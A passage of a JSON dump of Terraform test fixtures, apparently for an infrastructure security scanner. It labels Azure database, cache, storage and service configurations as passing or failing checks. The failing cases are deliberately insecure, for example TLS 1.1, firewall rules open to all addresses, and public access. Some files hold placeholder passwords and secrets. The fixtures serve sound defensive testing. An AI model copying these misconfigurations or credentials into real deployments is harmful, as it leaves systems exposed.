    "content": "resource \"azurerm_cognitive_account\" \"pass_openai\" {\n  name                = \"openai-account\"\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n  kind                = \"OpenAI\"\n  identity {\n    type = \"a\"\n  }\n  sku_name = \"S0\"\n\n  outbound_network_access_restricted = true\n  fqdns = [\"openai.example.com\"]  # Valid FQDN should pass the check\n\n  tags = {\n    Acceptance = \"Test\"\n  }\n}\n\nresource \"azurerm_cognitive_account\" \"fail_openai_missing_fqdns\" {\n  name                = \"openai-account-missing-fqdns\"\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n  kind                = \"OpenAI\"\n  identity {\n    type = \"a\"\n  }\n  sku_name = \"S0\"\n\n  outbound_network_access_restricted = true\n  fqdns = []  # Empty list of FQDNs should trigger failure\n\n  tags = {\n    Acceptance = \"Test\"\n  }\n}\n\nresource \"azurerm_cognitive_account\" \"fail_openai_missing_outbound_network_access\" {\n  name                = \"openai-account-missing-outbound-network-access\"\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n  kind                = \"OpenAI\"\n  identity {\n    type = \"a\"\n  }\n  sku_name = \"S0\"\n\n  # Missing outbound_network_access_restricted field should trigger failure\n  fqdns = [\"openai.example.com\"]\n\n  tags = {\n    Acceptance = \"Test\"\n  }\n}\n\nresource \"azurerm_cognitive_account\" \"pass_non_openai\" {\n  name                = \"non-openai-account\"\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n  kind                = \"TextAnalytics\"  # Non-OpenAI kind should automatically pass the check\n  identity {\n    type = \"a\"\n  }\n  sku_name = \"S0\"\n\n  outbound_network_access_restricted = false\n  fqdns = []  # Doesn't matter since kind is not OpenAI\n\n  tags = {\n    Acceptance = \"Test\"\n  }\n}\n\nresource \"azurerm_cognitive_account\" \"fail_openai_missing_fqdns_and_outbound_network_access\" {\n  name                = \"openai-account-missing-both\"\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n  kind                = \"OpenAI\"\n  identity {\n    type = \"a\"\n  }\n  sku_name = \"S0\"\n\n  # Missing outbound access should trigger failure\n  # Empty FQDNs list should trigger failure\n\n  tags = {\n    Acceptance = \"Test\"\n  }\n}\n\nresource \"azurerm_cognitive_account\" \"pass_openai_multiple_fqdns\" {\n  name                = \"openai-account-multiple-fqdns\"\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n  kind                = \"OpenAI\"\n  identity {\n    type = \"a\"\n  }\n  sku_name = \"S0\"\n\n  outbound_network_access_restricted = true\n  fqdns = [\"openai1.example.com\", \"openai2.example.com\", \"openai3.example.com\"]  # Multiple FQDNs should pass\n\n  tags = {\n    Acceptance = \"Test\"\n  }\n}\n\nresource \"azurerm_cognitive_account\" \"fail_openai_missing_fqdns_but_present_outbound_network_access\" {\n  name                = \"openai-account-failed-missing-fqdns\"\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n  kind                = \"OpenAI\"\n  identity {\n    type = \"a\"\n  }\n  sku_name = \"S0\"\n\n  outbound_network_access_restricted = true  # Present outbound access but missing FQDNs\n  fqdns = []  # Empty list of FQDNs should trigger failure\n\n  tags = {\n    Acceptance = \"Test\"\n  }\n}\n\nresource \"azurerm_cognitive_account\" \"fail_openai_no_outbound_access_and_multiple_fqdns\" {\n  name                = \"openai-account-failed-no-outbound-access-multiple-fqdns\"\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n  kind                = \"OpenAI\"\n  identity {\n    type = \"a\"\n  }\n  sku_name = \"S0\"\n\n  # Missing outbound access but multiple FQDNs present\n  fqdns = [\"openai1.example.com\", \"openai2.example.com\", \"openai3.example.com\"]  # Multiple FQDNs should trigger failure due to missing outbound access\n\n  tags = {\n    Acceptance = \"Test\"\n  }\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/example_PostgreSQLFlexiServerGeoBackupEnabled/main.tf",
    "content": "# pass\n\nresource \"azurerm_postgresql_flexible_server\" \"pass\" {\n  name                   = \"example-psqlflexibleserver\"\n  resource_group_name    = \"azurerm_resource_group.example.name\"\n  location               = \"azurerm_resource_group.example.location\"\n  version                = \"12\"\n  delegated_subnet_id    = \"azurerm_subnet.example.id\"\n  private_dns_zone_id    = \"azurerm_private_dns_zone.example.id\"\n  administrator_login    = \"psqladmin\"\n  administrator_password = \"H@Sh1CoR3!\"  # checkov:skip=CKV_SECRET_80 test secret\n  zone                   = \"1\"\n\n  storage_mb                   = 32768\n  geo_redundant_backup_enabled = true\n\n  sku_name   = \"GP_Standard_D4s_v3\"\n  depends_on = [\"azurerm_private_dns_zone_virtual_network_link.example\"]\n\n}\n\n# fail\n\nresource \"azurerm_postgresql_flexible_server\" \"fail1\" {\n  name                   = \"example-psqlflexibleserver\"\n  resource_group_name    = \"azurerm_resource_group.example.name\"\n  location               = \"azurerm_resource_group.example.location\"\n  version                = \"12\"\n  delegated_subnet_id    = \"azurerm_subnet.example.id\"\n  private_dns_zone_id    = \"azurerm_private_dns_zone.example.id\"\n  administrator_login    = \"psqladmin\"\n  administrator_password = \"H@Sh1CoR3!\"\n  zone                   = \"1\"\n\n  storage_mb                   = 32768\n  geo_redundant_backup_enabled = false\n\n  sku_name   = \"GP_Standard_D4s_v3\"\n  depends_on = [\"azurerm_private_dns_zone_virtual_network_link.example\"]\n\n}\n\nresource \"azurerm_postgresql_flexible_server\" \"fail2\" {\n  name                   = \"example-psqlflexibleserver\"\n  resource_group_name    = \"azurerm_resource_group.example.name\"\n  location               = \"azurerm_resource_group.example.location\"\n  version                = \"12\"\n  delegated_subnet_id    = \"azurerm_subnet.example.id\"\n  private_dns_zone_id    = \"azurerm_private_dns_zone.example.id\"\n  administrator_login    = \"psqladmin\"\n  administrator_password = \"H@Sh1CoR3!\"\n  zone                   = \"1\"\n\n  storage_mb = 32768\n\n  sku_name   = \"GP_Standard_D4s_v3\"\n  depends_on = [\"azurerm_private_dns_zone_virtual_network_link.example\"]\n\n}\n\n# unknown: replica\nresource \"azurerm_postgresql_flexible_server\" \"replica\" {\n  count               = var.replica_count\n  name                = \"${local.database_name}-replica-${count.index}\"\n  resource_group_name = var.resource_group.name\n  location            = var.resource_group.location\n  delegated_subnet_id = var.shared.subnet_id\n  private_dns_zone_id = var.shared.dns_zone.id\n  sku_name            = var.sku_name\n  storage_mb          = var.storage_mb\n  version             = var.postgresql_version\n\n  # replication\n  create_mode      = \"Replica\"  # <-- This makes the server a replica.\n  source_server_id = azurerm_postgresql_flexible_server.primary.id\n\n  tags = local.standard_tags\n  lifecycle {\n    precondition {\n      condition     = !startswith(var.sku_name, \"B_\")\n      error_message = \"Replicas are not supported for burstable SKUs.\"\n    }\n    ignore_changes = [\n      zone,\n      high_availability.0.standby_availability_zone,\n      tags\n    ]\n  }\n}\n\n\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/example_PostgreSQLMinTLSVersion/main.tf",
    "content": "resource \"azurerm_postgresql_server\" \"fail\" {\n  name = \"fail\"\n\n  public_network_access_enabled    = true\n  ssl_enforcement_enabled          = true\n  ssl_minimal_tls_version_enforced = \"TLS1_1\"\n}\n\n\nresource \"azurerm_postgresql_server\" \"pass\" {\n  name = \"fail\"\n\n  public_network_access_enabled    = true\n  ssl_enforcement_enabled          = true\n  ssl_minimal_tls_version_enforced = \"TLS1_2\"\n}\n\nresource \"azurerm_postgresql_server\" \"fail2\" {\n  name = \"fail\"\n\n  public_network_access_enabled = true\n  ssl_enforcement_enabled       = true\n}"
  },
  {
    "path": "tests/terraform/checks/resource/azure/example_PostgreSQLServerLogRetentionEnabled/main.tf",
    "content": "resource \"azurerm_postgresql_configuration\" \"fail\" {\n  name                = \"log_retention\"\n  resource_group_name = data.azurerm_resource_group.example.name\n  server_name         = azurerm_postgresql_server.example.name\n  value               = \"off\"\n}\n\nresource \"azurerm_postgresql_configuration\" \"pass\" {\n  name                = \"log_retention\"\n  resource_group_name = data.azurerm_resource_group.example.name\n  server_name         = azurerm_postgresql_server.example.name\n  value               = \"on\"\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/example_PubsubSKUSLA/main.tf",
    "content": "resource \"azurerm_web_pubsub\" \"pass\" {\n  name                = \"tfex-webpubsub\"\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n\n  sku      = \"Standard_S1\"\n  capacity = 1\n\n  public_network_access_enabled = false\n\n  live_trace {\n    enabled                   = true\n    messaging_logs_enabled    = true\n    connectivity_logs_enabled = false\n  }\n\n  identity {\n    type = \"SystemAssigned\"\n  }\n}\n\nresource \"azurerm_web_pubsub\" \"fail\" {\n  name                = \"tfex-webpubsub\"\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n\n  sku      = \"Free_F1\"\n  capacity = 1\n\n  public_network_access_enabled = false\n\n  live_trace {\n    enabled                   = true\n    messaging_logs_enabled    = true\n    connectivity_logs_enabled = false\n  }\n\n  identity {\n    type = \"SystemAssigned\"\n  }\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/example_PubsubSpecifyIdentity/main.tf",
    "content": "resource \"azurerm_web_pubsub\" \"pass\" {\n  name                = \"tfex-webpubsub\"\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n\n  sku      = \"Standard_S1\"\n  capacity = 1\n\n  public_network_access_enabled = false\n\n  live_trace {\n    enabled                   = true\n    messaging_logs_enabled    = true\n    connectivity_logs_enabled = false\n  }\n\n  identity {\n    type = \"SystemAssigned\"\n  }\n}\n\nresource \"azurerm_web_pubsub\" \"fail\" {\n  name                = \"tfex-webpubsub\"\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n\n  sku      = \"Free_F1\"\n  capacity = 1\n\n  public_network_access_enabled = false\n\n  live_trace {\n    enabled                   = true\n    messaging_logs_enabled    = true\n    connectivity_logs_enabled = false\n  }\n}\n\nresource \"azurerm_web_pubsub\" \"pass2\" {\n  name                = \"tfex-webpubsub\"\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n\n  sku      = \"Standard_S1\"\n  capacity = 1\n\n  public_network_access_enabled = false\n\n  live_trace {\n    enabled                   = true\n    messaging_logs_enabled    = true\n    connectivity_logs_enabled = false\n  }\n\n  identity {\n    type = \"UserAssigned\"\n  }\n}"
  },
  {
    "path": "tests/terraform/checks/resource/azure/example_RedisCacheMinTLSVersion/main.tf",
    "content": "resource \"azurerm_redis_cache\" \"pass\" {\n  name                = \"timeout-redis\"\n  location            = \"West Europe\"\n  resource_group_name = azurerm_resource_group.example_rg.name\n  subnet_id           = azurerm_subnet.example_redis_snet.id\n\n  family      = \"P\"\n  capacity    = 1\n  sku_name    = \"Premium\"\n  shard_count = 1\n\n  enable_non_ssl_port           = false\n  minimum_tls_version           = \"1.2\"\n  public_network_access_enabled = true\n\n  redis_configuration {\n    enable_authentication = true\n    maxmemory_policy      = \"volatile-lru\"\n  }\n}\n\nresource \"azurerm_redis_cache\" \"fail\" {\n  name                = \"timeout-redis\"\n  location            = \"West Europe\"\n  resource_group_name = azurerm_resource_group.example_rg.name\n  subnet_id           = azurerm_subnet.example_redis_snet.id\n\n  family      = \"P\"\n  capacity    = 1\n  sku_name    = \"Premium\"\n  shard_count = 1\n\n  enable_non_ssl_port           = false\n  minimum_tls_version           = \"1.1\"\n  public_network_access_enabled = true\n\n  redis_configuration {\n    enable_authentication = true\n    maxmemory_policy      = \"volatile-lru\"\n  }\n}\nresource \"azurerm_redis_cache\" \"fail2\" {\n  name                = \"timeout-redis\"\n  location            = \"West Europe\"\n  resource_group_name = azurerm_resource_group.example_rg.name\n  subnet_id           = azurerm_subnet.example_redis_snet.id\n\n  family      = \"P\"\n  capacity    = 1\n  sku_name    = \"Premium\"\n  shard_count = 1\n\n  enable_non_ssl_port           = false\n  public_network_access_enabled = true\n\n  redis_configuration {\n    enable_authentication = true\n    maxmemory_policy      = \"volatile-lru\"\n  }\n}"
  },
  {
    "path": "tests/terraform/checks/resource/azure/example_RedisCacheStandardReplicationEnabled/main.tf",
    "content": "resource \"azurerm_redis_cache\" \"pass1\" {\n  name                = \"example-cache\"\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n  capacity            = 2\n  family              = \"C\"\n  sku_name            = \"Standard\"\n  enable_non_ssl_port = false\n  minimum_tls_version = \"1.2\"\n\n  redis_configuration {\n  }\n}\n\nresource \"azurerm_redis_cache\" \"pass2\" {\n  name                = \"example-cache\"\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n  capacity            = 2\n  family              = \"C\"\n  sku_name            = \"Premium\"\n  enable_non_ssl_port = false\n  minimum_tls_version = \"1.2\"\n\n  redis_configuration {\n  }\n}\n\nresource \"azurerm_redis_cache\" \"fail1\" {\n  name                = \"example-cache\"\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n  capacity            = 2\n  family              = \"C\"\n  sku_name            = \"Basic\"\n  enable_non_ssl_port = false\n  minimum_tls_version = \"1.2\"\n\n  redis_configuration {\n  }\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/example_SQLDatabaseLedgerEnabled/main.tf",
    "content": "resource \"azurerm_mssql_database\" \"pass\" {\n  name           = \"example-database\"\n  server_id      = azurerm_mssql_server.example.id\n  collation      = \"SQL_Latin1_General_CP1_CI_AS\"\n  license_type   = \"LicenseIncluded\"\n  max_size_gb    = 4\n  read_scale     = true\n  sku_name       = \"S0\"\n  ledger_enabled = true\n\n  tags = {\n    environment = \"Production\"\n  }\n}\n\nresource \"azurerm_mssql_database\" \"fail2\" {\n    name           = \"example-database\"\n    server_id      = azurerm_mssql_server.example.id\n    collation      = \"SQL_Latin1_General_CP1_CI_AS\"\n    license_type   = \"LicenseIncluded\"\n    max_size_gb    = 4\n    read_scale     = true\n    sku_name       = \"S0\"\n    ledger_enabled = false\n\n    tags = {\n        environment = \"Production\"\n    }\n}\n\nresource \"azurerm_mssql_database\" \"fail\" {\n    name           = \"example-database\"\n    server_id      = azurerm_mssql_server.example.id\n    collation      = \"SQL_Latin1_General_CP1_CI_AS\"\n    license_type   = \"LicenseIncluded\"\n    max_size_gb    = 4\n    read_scale     = true\n    sku_name       = \"S0\"\n\n    tags = {\n        environment = \"Production\"\n    }\n\n}"
  },
  {
    "path": "tests/terraform/checks/resource/azure/example_SQLDatabaseZoneRedundant/main.tf",
    "content": "resource \"azurerm_mssql_database\" \"pass\" {\n  name           = \"example-database\"\n  server_id      = azurerm_mssql_server.example.id\n  collation      = \"SQL_Latin1_General_CP1_CI_AS\"\n  license_type   = \"LicenseIncluded\"\n  max_size_gb    = 4\n  read_scale     = true\n  sku_name       = \"S0\"\n  zone_redundant = true\n\n  tags = {\n    environment = \"Production\"\n  }\n}\n\nresource \"azurerm_mssql_database\" \"fail2\" {\n    name           = \"example-database\"\n    server_id      = azurerm_mssql_server.example.id\n    collation      = \"SQL_Latin1_General_CP1_CI_AS\"\n    license_type   = \"LicenseIncluded\"\n    max_size_gb    = 4\n    read_scale     = true\n    sku_name       = \"S0\"\n    zone_redundant = false\n\n    tags = {\n        environment = \"Production\"\n    }\n}\n\nresource \"azurerm_mssql_database\" \"fail\" {\n    name           = \"example-database\"\n    server_id      = azurerm_mssql_server.example.id\n    collation      = \"SQL_Latin1_General_CP1_CI_AS\"\n    license_type   = \"LicenseIncluded\"\n    max_size_gb    = 4\n    read_scale     = true\n    sku_name       = \"S0\"\n\n    tags = {\n        environment = \"Production\"\n    }\n\n}"
  },
  {
    "path": "tests/terraform/checks/resource/azure/example_SQLServerNoPublicAccess/main.tf",
    "content": "resource \"azurerm_mysql_firewall_rule\" \"fail\" {\n  name                = \"office\"\n  resource_group_name = azurerm_resource_group.example.name\n  server_name         = azurerm_mysql_server.example.name\n  start_ip_address    = \"0.0.0.0\"\n  end_ip_address      = \"255.255.255.255\"\n}\n\nresource \"azurerm_mysql_firewall_rule\" \"pass\" {\n  name                = \"office\"\n  resource_group_name = azurerm_resource_group.example.name\n  server_name         = azurerm_mysql_server.example.name\n  start_ip_address    = \"0.0.0.0\"\n  end_ip_address      = \"0.0.0.0\"\n}\n\nresource \"azurerm_mysql_firewall_rule\" \"pass2\" {\n  name                = \"office\"\n  resource_group_name = azurerm_resource_group.example.name\n  server_name         = azurerm_mysql_server.example.name\n  start_ip_address    = \"40.112.8.12\"\n  end_ip_address      = \"40.112.8.17\"\n}\n\nresource \"azurerm_mysql_flexible_server_firewall_rule\" \"pass\" {\n  name                = \"office\"\n  resource_group_name = azurerm_resource_group.example.name\n  server_name         = azurerm_mysql_flexible_server.example.name\n  start_ip_address    = \"40.112.0.0\"\n  end_ip_address      = \"40.112.255.255\"\n}\n\nresource \"azurerm_mysql_flexible_server_firewall_rule\" \"fail\" {\n  name                = \"office\"\n  resource_group_name = azurerm_resource_group.example.name\n  server_name         = azurerm_mysql_flexible_server.example.name\n  start_ip_address    = \"0.0.0.0\"\n  end_ip_address      = \"255.255.255.255\"\n}\n\nresource \"azurerm_mssql_firewall_rule\" \"pass\" {\n  name             = \"FirewallRule1\"\n  server_id        = azurerm_mssql_server.example.id\n  start_ip_address = \"10.0.17.62\"\n  end_ip_address   = \"10.0.17.62\"\n}\n\nresource \"azurerm_mssql_firewall_rule\" \"fail\" {\n  name             = \"FirewallRule1\"\n  server_id        = azurerm_mssql_server.example.id\n  start_ip_address    = \"0.0.0.0\"\n  end_ip_address      = \"255.255.255.255\"\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/example_SignalRSKUSLA/main.tf",
    "content": "resource \"azurerm_signalr_service\" \"fail\" {\n  name                = \"tfex-signalr\"\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n\n  sku {\n    name     = \"Free_F1\"\n    capacity = 1\n  }\n\n  cors {\n    allowed_origins = [\"http://www.example.com\"]\n  }\n\n  connectivity_logs_enabled = true\n  messaging_logs_enabled    = true\n  service_mode              = \"Default\"\n\n  upstream_endpoint {\n    category_pattern = [\"connections\", \"messages\"]\n    event_pattern    = [\"*\"]\n    hub_pattern      = [\"hub1\"]\n    url_template     = \"http://foo.com\"\n  }\n}\n\nresource \"azurerm_signalr_service\" \"pass\" {\n  name                = \"tfex-signalr\"\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n\n  sku {\n    name     = \"Standard_S1\"\n    capacity = 1\n  }\n\n  cors {\n    allowed_origins = [\"http://www.example.com\"]\n  }\n\n  connectivity_logs_enabled = true\n  messaging_logs_enabled    = true\n  service_mode              = \"Default\"\n\n  upstream_endpoint {\n    category_pattern = [\"connections\", \"messages\"]\n    event_pattern    = [\"*\"]\n    hub_pattern      = [\"hub1\"]\n    url_template     = \"http://foo.com\"\n  }\n}"
  },
  {
    "path": "tests/terraform/checks/resource/azure/example_SpringCloudAPIPortalHTTPSOnly/main.tf",
    "content": "\nresource \"azurerm_spring_cloud_api_portal\" \"fail\" {\n  name                          = \"default\"\n  spring_cloud_service_id       = azurerm_spring_cloud_service.example.id\n  gateway_ids                   = [azurerm_spring_cloud_gateway.example.id]\n  public_network_access_enabled = true\n  instance_count                = 1\n  sso {\n    client_id     = \"test\"\n    client_secret = \"secret\"\n    issuer_uri    = \"https://www.example.com/issueToken\"\n    scope         = [\"read\"]\n  }\n}\n\nresource \"azurerm_spring_cloud_api_portal\" \"fail2\" {\n  name                          = \"default\"\n  spring_cloud_service_id       = azurerm_spring_cloud_service.example.id\n  gateway_ids                   = [azurerm_spring_cloud_gateway.example.id]\n  https_only_enabled            = false\n  public_network_access_enabled = true\n  instance_count                = 1\n  sso {\n    client_id     = \"test\"\n    client_secret = \"secret\"\n    issuer_uri    = \"https://www.example.com/issueToken\"\n    scope         = [\"read\"]\n  }\n}\n\nresource \"azurerm_spring_cloud_api_portal\" \"pass\" {\n  name                          = \"default\"\n  spring_cloud_service_id       = azurerm_spring_cloud_service.example.id\n  gateway_ids                   = [azurerm_spring_cloud_gateway.example.id]\n  https_only_enabled            = true\n  public_network_access_enabled = true\n  instance_count                = 1\n  sso {\n    client_id     = \"test\"\n    client_secret = \"secret\"\n    issuer_uri    = \"https://www.example.com/issueToken\"\n    scope         = [\"read\"]\n  }\n}"
  },
  {
    "path": "tests/terraform/checks/resource/azure/example_SpringCloudAPIPortalPublicAccessIsDisabled/main.tf",
    "content": "\nresource \"azurerm_spring_cloud_api_portal\" \"fail\" {\n  name                          = \"default\"\n  spring_cloud_service_id       = azurerm_spring_cloud_service.example.id\n  gateway_ids                   = [azurerm_spring_cloud_gateway.example.id]\n  public_network_access_enabled = true\n  instance_count                = 1\n  sso {\n    client_id     = \"test\"\n    client_secret = \"secret\"\n    issuer_uri    = \"https://www.example.com/issueToken\"\n    scope         = [\"read\"]\n  }\n}\n\nresource \"azurerm_spring_cloud_api_portal\" \"pass\" {\n  name                    = \"default\"\n  spring_cloud_service_id = azurerm_spring_cloud_service.example.id\n  gateway_ids             = [azurerm_spring_cloud_gateway.example.id]\n  https_only_enabled      = false\n  instance_count          = 1\n  sso {\n    client_id     = \"test\"\n    client_secret = \"secret\"\n    issuer_uri    = \"https://www.example.com/issueToken\"\n    scope         = [\"read\"]\n  }\n}\n\nresource \"azurerm_spring_cloud_api_portal\" \"pass2\" {\n  name                          = \"default\"\n  spring_cloud_service_id       = azurerm_spring_cloud_service.example.id\n  gateway_ids                   = [azurerm_spring_cloud_gateway.example.id]\n  https_only_enabled            = false\n  public_network_access_enabled = false\n  instance_count                = 1\n  sso {\n    client_id     = \"test\"\n    client_secret = \"secret\"\n    issuer_uri    = \"https://www.example.com/issueToken\"\n    scope         = [\"read\"]\n  }\n}"
  },
  {
    "path": "tests/terraform/checks/resource/azure/example_StorageAccountDefaultNetworkAccessDeny/main.tf",
    "content": "#not set - ignore\n            resource \"azurerm_storage_account\" \"unknown\" {\n              name                     = \"example\"\n              resource_group_name      = data.azurerm_resource_group.example.name\n              location                 = data.azurerm_resource_group.example.location\n              account_tier             = \"Standard\"\n              account_replication_type = \"GRS\"\n            }\n# deny so pass\nresource \"azurerm_storage_account\" \"pass\" {\n              name                     = \"example\"\n              resource_group_name      = data.azurerm_resource_group.example.name\n              location                 = data.azurerm_resource_group.example.location\n              account_tier             = \"Standard\"\n              account_replication_type = \"GRS\"\n              network_rules {\n                default_action             = \"Deny\"\n                ip_rules                   = [\"100.0.0.1\"]\n                virtual_network_subnet_ids = [azurerm_subnet.example.id]\n              }\n            }\n#allow so fail\n            resource \"azurerm_storage_account\" \"fail\" {\n              name                     = \"example\"\n              resource_group_name      = data.azurerm_resource_group.example.name\n              location                 = data.azurerm_resource_group.example.location\n              account_tier             = \"Standard\"\n              account_replication_type = \"GRS\"\n              network_rules {\n                default_action             = \"Allow\"\n                ip_rules                   = [\"100.0.0.1\"]\n                virtual_network_subnet_ids = [azurerm_subnet.example.id]\n              }\n            }\n\n#allow fail\n            resource \"azurerm_storage_account_network_rules\" \"fail\" {\n              resource_group_name  = azurerm_resource_group.test.name\n              storage_account_name = azurerm_storage_account.test.name\n\n              default_action             = \"Allow\"\n              ip_rules                   = [\"127.0.0.1\"]\n              virtual_network_subnet_ids = [azurerm_subnet.test.id]\n              bypass                     = [\"Metrics\"]\n              storage_account_id         = \"\"\n            }\n#deny so pass\n            resource \"azurerm_storage_account_network_rules\" \"pass\" {\n              resource_group_name  = azurerm_resource_group.test.name\n              storage_account_name = azurerm_storage_account.test.name\n\n              default_action             = \"Deny\"\n              ip_rules                   = [\"127.0.0.1\"]\n              virtual_network_subnet_ids = [azurerm_subnet.test.id]\n              bypass                     = [\"Metrics\"]\n              storage_account_id         = \"\"\n            }\n\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/example_StorageAccountDisablePublicAccess/main.tf",
    "content": "\nresource \"azurerm_storage_account\" \"fail\" {\n  name                          = \"storageaccountname\"\n  resource_group_name           = azurerm_resource_group.example.name\n  location                      = azurerm_resource_group.example.location\n  account_tier                  = \"Standard\"\n  account_replication_type      = \"GRS\"\n  enable_https_traffic_only     = false\n  public_network_access_enabled = true\n\n  tags = {\n    environment = \"staging\"\n  }\n}\nresource \"azurerm_storage_account\" \"pass\" {\n  name                          = \"storageaccountname\"\n  resource_group_name           = azurerm_resource_group.example.name\n  location                      = azurerm_resource_group.example.location\n  account_tier                  = \"Standard\"\n  account_replication_type      = \"GRS\"\n  public_network_access_enabled = false\n  tags = {\n    environment = \"staging\"\n  }\n}\n\nresource \"azurerm_storage_account\" \"fail2\" {\n  name                     = \"storageaccountname\"\n  resource_group_name      = azurerm_resource_group.example.name\n  location                 = azurerm_resource_group.example.location\n  account_tier             = \"Standard\"\n  account_replication_type = \"GRS\"\n\n\n  tags = {\n    environment = \"staging\"\n  }\n}\n\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/example_StorageAccountName/azurecaf.tf",
    "content": "provider \"azurerm\" {\n  features {}\n}\n\nresource \"azurecaf_name\" \"example\" {\n  random_length = 20\n  resource_type = \"azurerm_storage_account\"\n}\n\nresource \"azurerm_resource_group\" \"example\" {\n  name     = \"example-resources\"\n  location = \"West Europe\"\n}\n\nresource \"azurerm_storage_account\" \"azurecaf\" {\n  name                     = azurecaf_name.example.result\n  resource_group_name      = azurerm_resource_group.example.name\n  location                 = azurerm_resource_group.example.location\n  account_tier             = \"Standard\"\n  account_replication_type = \"GRS\"\n\n  tags = {\n    environment = \"staging\"\n  }\n}"
  },
  {
    "path": "tests/terraform/checks/resource/azure/example_StorageAccountName/main.tf",
    "content": "# pass\n\nresource \"azurerm_storage_account\" \"pass\" {\n  name                     = \"storageaccountname\"\n  resource_group_name      = \"azurerm_resource_group.example.name\"\n  location                 = \"azurerm_resource_group.example.location\"\n  account_tier             = \"Standard\"\n  account_replication_type = \"GRS\"\n}\n\nresource \"azurerm_storage_account\" \"pass_number\" {\n  name                     = 1234567890\n  resource_group_name      = \"azurerm_resource_group.example.name\"\n  location                 = \"azurerm_resource_group.example.location\"\n  account_tier             = \"Standard\"\n  account_replication_type = \"GRS\"\n}\n\n# fail\n\nresource \"azurerm_storage_account\" \"camel_case\" {\n  name                     = \"thisIsWrong\"\n  resource_group_name      = \"azurerm_resource_group.example.name\"\n  location                 = \"azurerm_resource_group.example.location\"\n  account_tier             = \"Standard\"\n  account_replication_type = \"GRS\"\n}\n\nresource \"azurerm_storage_account\" \"kebab_case\" {\n  name                     = \"this-is-wrong\"\n  resource_group_name      = \"azurerm_resource_group.example.name\"\n  location                 = \"azurerm_resource_group.example.location\"\n  account_tier             = \"Standard\"\n  account_replication_type = \"GRS\"\n}\n\nresource \"azurerm_storage_account\" \"too_long\" {\n  name                     = \"thisiswayyyyyytoooloooong\"\n  resource_group_name      = \"azurerm_resource_group.example.name\"\n  location                 = \"azurerm_resource_group.example.location\"\n  account_tier             = \"Standard\"\n  account_replication_type = \"GRS\"\n}\n\n# unknown\n\nresource \"azurerm_storage_account\" \"local\" {\n  name                     = \"${local.prefix}example\"\n  resource_group_name      = \"azurerm_resource_group.example.name\"\n  location                 = \"azurerm_resource_group.example.location\"\n  account_tier             = \"Standard\"\n  account_replication_type = \"GRS\"\n}\n\nresource \"azurerm_storage_account\" \"module\" {\n  name                     = \"${module.something.prefix}example\"\n  resource_group_name      = \"azurerm_resource_group.example.name\"\n  location                 = \"azurerm_resource_group.example.location\"\n  account_tier             = \"Standard\"\n  account_replication_type = \"GRS\"\n}\n\nresource \"azurerm_storage_account\" \"var\" {\n  name                     = \"${var.prefix}example\"\n  resource_group_name      = \"azurerm_resource_group.example.name\"\n  location                 = \"azurerm_resource_group.example.location\"\n  account_tier             = \"Standard\"\n  account_replication_type = \"GRS\"\n}\n\nresource \"azurerm_storage_account\" \"random_string\" {\n  name                     = \"${random_string.prefix}example\"\n  resource_group_name      = \"azurerm_resource_group.example.name\"\n  location                 = \"azurerm_resource_group.example.location\"\n  account_tier             = \"Standard\"\n  account_replication_type = \"GRS\"\n}\n\nresource \"azurerm_storage_account\" \"random_id\" {\n  name                     = \"${random_id.prefix}example\"\n  resource_group_name      = \"azurerm_resource_group.example.name\"\n  location                 = \"azurerm_resource_group.example.location\"\n  account_tier             = \"Standard\"\n  account_replication_type = \"GRS\"\n}\n\nresource \"azurerm_storage_account\" \"random_pet\" {\n  name                     = \"${random_pet.prefix}example\"\n  resource_group_name      = \"azurerm_resource_group.example.name\"\n  location                 = \"azurerm_resource_group.example.location\"\n  account_tier             = \"Standard\"\n  account_replication_type = \"GRS\"\n}\n\nresource \"azurerm_storage_account\" \"random_integer\" {\n  name                     = \"${random_integer.prefix}example\"\n  resource_group_name      = \"azurerm_resource_group.example.name\"\n  location                 = \"azurerm_resource_group.example.location\"\n  account_tier             = \"Standard\"\n  account_replication_type = \"GRS\"\n}\n\n\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/example_StorageAccountsTransportEncryption/main.tf",
